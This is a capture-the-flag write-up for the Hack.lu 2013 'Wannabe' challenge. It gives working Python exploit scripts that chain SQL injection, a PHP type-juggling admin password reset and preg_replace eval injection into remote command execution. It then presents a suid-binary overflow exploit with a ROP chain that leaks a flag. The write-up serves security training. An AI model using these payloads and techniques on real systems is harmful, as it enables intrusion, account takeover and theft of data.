Hack.lu 2013: Wannabe

One of our informants met a guy who calls himself Elite Arthur, he is a real jackass, and he thinks he is the best hacker alive. We got reason to believe that the robots hired him to write the firmwares for their weapons. But to write such a firmware we need the key to sign the code. Luckily for us, our informant also found his website: …. your job is to hack the server, find the flag and show this little cocksucker how skilled he really is. We count on you.

Here is your challenge: https://ctf.fluxfingers.net:1317.
Alternatively, you can reach the challenge without a reverse proxy but also without SSL here: http://ctf.fluxfingers.net:1339

This challenge consists of two long parts. First some web stuff, then an exploitation challenge.

The web page

First, we had to find a way to get onto the server. Our best call was to find a PHP code execution.

We figured out the “Bug bounty” page would be worth trying to get some sourcecode out of. The download function seemed very suspicious. By modifying the INSERT statement through the ‘rating’ parameter we could download any file we wanted:

1
2
https://ctf.fluxfingers.net:1317/?site=bug&action=add
"rating=1,0x61,0x696e6465782e706870,1) -- &title=asdf"

This adds a download to ‘index.php’ (encoded as hex). By looking through the sourcecode we found the code where we could get our code to be executed:

extension/filter.php
1
2
3
$makestatus = new Twig_SimpleFilter('makestatus', function($string) {
    return preg_replace('/(red|green): (.*)/e', '\'<div style="color:$1;">\'.strtolower("$2").\'</div>\'', $string);
}, array('is_safe' => array('html')));

And the code where to insert it:

controller/PanelController.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public function prevAction($db, $user) {
    global $twig;
    global $makestatus;

    if (!$user->isAdmin())
        throw new Exception("You don't have the permission to view this site", 1);

    if (!isset($_POST['title']))
        throw new Exception("Please enter a title");

    if (!isset($_POST['text']))
        throw new Exception("Please enter a text");

    $data = $db->select('password', 'user', "WHERE name='admin' LIMIT 1");

    if (sha1($_POST['password']) !== $data[0]['password'])
        throw new Exception("You need to provide your admin password before you can perform an action");

    $prev = $twig->loadTemplate("panel.twig");
    $out = $prev->render(array('title' => $_POST['title'], 'text' => $_POST['text'], 'author' => 'admin', 'created' => 'now', 'prev' => '1', 'admin' => $user->isAdmin()));

    $tmp = new Twig_Environment(new Twig_Loader_String());
    $tmp->addFilter($makestatus);

    echo $tmp->render($out);
}

But we still need the admin password for that. By digging deeper in the code we found a way to reset the password of the admin. This is done in four (easy) steps:

  1. Request reset code for guest
  2. use the SQLi to read it
  3. reset password via GET with id=0x1 (vulnerable code shown below)
  4. insert our code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python2
import requests
import sys
import re

"""
r = re.compile('site=bug&action=dl&id=([0-9]+)"', re.M)

def get_file(fname):
    res = requests.post("https://ctf.fluxfingers.net:1317/?site=bug&action=add",
        verify = False,
        data = {
            "rating": "1,
            0x666f6f626172, 0x%s, 1) -- " % fname.encode("hex"),
            "title": "foobar"
        })
    cookies = res.cookies
    num = int(r.findall(res.content)[0])
    res = requests.get("https://ctf.fluxfingers.net:1317/?site=bug&action=dl&id=%d" % num,
        verify = False,
        cookies = cookies
    ).content
    return res
"""

url = "https://ctf.fluxfingers.net:1317/"
requests.get(url + "?site=lost&action=reset&username=guest", verify = False).content

code = requests.post(url + "?site=bug&action=add",
    verify = False,
    data = {
        "rating": "1, (SELECT CONCAT(0x636f64655f69735f3e, reset, 0x3c5f636f64655f6973) FROM 6karuhf843_user WHERE id=1), 0x30, 0) -- ",
        "title": "foobar"
    }).content

code = re.findall("code_is_&gt;(.+)&lt;_code_is", code)[0]

pw = "a" * 5 + "A"*5 + "0"*5 + "startumAuhuur"
requests.get(url + "?action=update&site=lost&id=0x1&pass=%s&pass2=%s&code=%s" % (pw, pw, code), verify = False).content

cookies = {
    "user_id": "e62552ab44206edaee9d25e57f6dc220",
    "user_hash": "5b375be052529278bb67dac99d6cb795ee83b882",
    "user_bugs": "YTowOnt9",
    "user_mac": "2164a79df588978c62cf5a49b8cf33f0f5b995df",
}
php="system('%s');" % sys.argv[1]
print requests.post(
    url + "?site=panel&action=prev",
    data = {
        "phpcode": php,
        "title": "foo",
        "text": "{\% filter makestatus %}red: {${eval($_POST[phpcode])}}{\% endfilter %}",
        "password": pw
    },
    verify = False,
    cookies = cookies).content

When this code is executed, it resets the admin password and executes the code you supply on the command line. Why is this resetting the admin password? By using 0x1 we are exploiting the way php handles comparisons between different types:

controller/LostController.php - Line 95
1
2
3
4
5
6
if ($data[0]['id'] == $id) {
        $reset = array(
                'password' => "'".mysql_real_escape_string(sha1($pass))."'",
                'reset' => "''"
        );
        $db->update("user", $reset, "WHERE id=".intval($id));

While the weak comparison in line 1 interprets 0x1 as 1, it matches the id of ‘guest’, but the intval on line 6 returns 0 for 0x1, matching the id of ‘admin’. This allows us to use the reset code for ‘guest’ to reset the admin’s password.

Exploitation

After we got shell access to the server, we found a file which looks like the flag /home/arthur/sign_key.flag , but for which we didn’t have read access. However, there was a suid executable together with its source code, which does have these permissions, so let’s take a look at it.

The binary has two modes, clean and sign, and will read the flag file and a password file in a constructor. The first thing the sign mode will do is to check if the contents of the password file match a user-supplied argument. Since we don’t know the password, this looks like a dead end.

The clean method on the other hand does not need the password. It iterates over all files in the folder ./uploads and checks them for occurences of the string system(".*"); .

control.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned char cnt = 0;
char found[255][192];
int cookie;
//[...]
void inspect(char *filename) {
    //[...]
    while (fgets(tmp, 511, fp) != NULL) {
        if ((pos = strstr(tmp, "system(\"")) != NULL) {
            unsigned int length;
            char *end = strstr(pos, "\");");

            if (end == NULL)
                continue;

            length = end-(pos+8);
            printf("len: %d\n", length);
            if (length > 192)
                length = 192;

            strncpy(found[cnt], pos+8, length);
            cnt++;
        }
    }
}

As you can see, the function reads at most 192 bytes at a time and writes them into a global buffer array of size 255*192 using an unsigned char as index variable. This is a double off-by-one error.

If we provide a file with 256 system(""); entries, the global cookie variable will be overwritten. Also, if the argument to system is longer then 192 bytes, there will won’t be a null byte at the end of that entry. We can use these vulnerabilities in the log_result function:

control.c - Line 224
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void log_result(unsigned char cnt)
{
    int overflow = cookie;
    char buffer[224];

    bzero(buffer, 224);

    for (i=0; i<cnt; i++) {
        snprintf(buffer, strlen(found[i])+32, "systemcall (%d/%d): %s", i+1, cnt, found[i]);
        puts(buffer);
    }

    if (overflow != cookie) {
        printf("overflow shit, cookie does not match: %s...\n", overflow);
        abort();
    }
}

If we wrote more than 192 bytes into found[i], snprintf will append the contents of found[i+1] as well which will overflow the local buffer. Since the overflow happens in a loop, we can even write data which includes null bytes by writing to the buffer multiple times, making the string shorter in each write. For example, if we want to write AAAA\x01\x00\x01\x00, we will write AAAAAA\x01 first and afterwards, overwrite the beginning with AAAA\x01\x00. The overflow protection is already bypassed as well, since we control the cookie variable as described before.

Finally, since the binary is not position-independent, we can simply call puts from the PLT, using a pop rdi gadget before that, to load the first parameter and print the flag from memory.

The final exploit works as follows:

  1. write system(“AAAAAAA..”); 256 times to ./upload/pwn, which will overwrite the cookie variable
  2. overwrite the saved return address with a ROP chain: “pop rdi” gadget; &key; puts@plt; exit@plt
wannabe.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python

import os
import struct

def pack(addr):
  return struct.pack("<Q", addr)

puts = 0x4009d0
gadget = 0x401583
key = 0x601d80
exit = 0x400b20

os.system("rm -R ./upload")
os.mkdir("upload")

rip_off = 68

filename = "upload/pwn"
f = open(filename, "w")

def add_file(data):
  global f
  f.write('system("'+data+'");\n')

def write_data(offset, data):
  null_off = data.rfind("\x00")
  while null_off >= 0:
    add_file("A"*192)
    add_file("A"*(offset+null_off+1)+data[null_off+1:])
    data = data[:null_off]
    null_off = data.rfind("\x00")
  add_file("A"*192)
  add_file("A"*(offset+null_off+1)+data[null_off+1:])

for i in range(256):
  add_file("A"*rip_off)

write_data(rip_off, pack(gadget)+pack(key)+pack(puts)+pack(exit))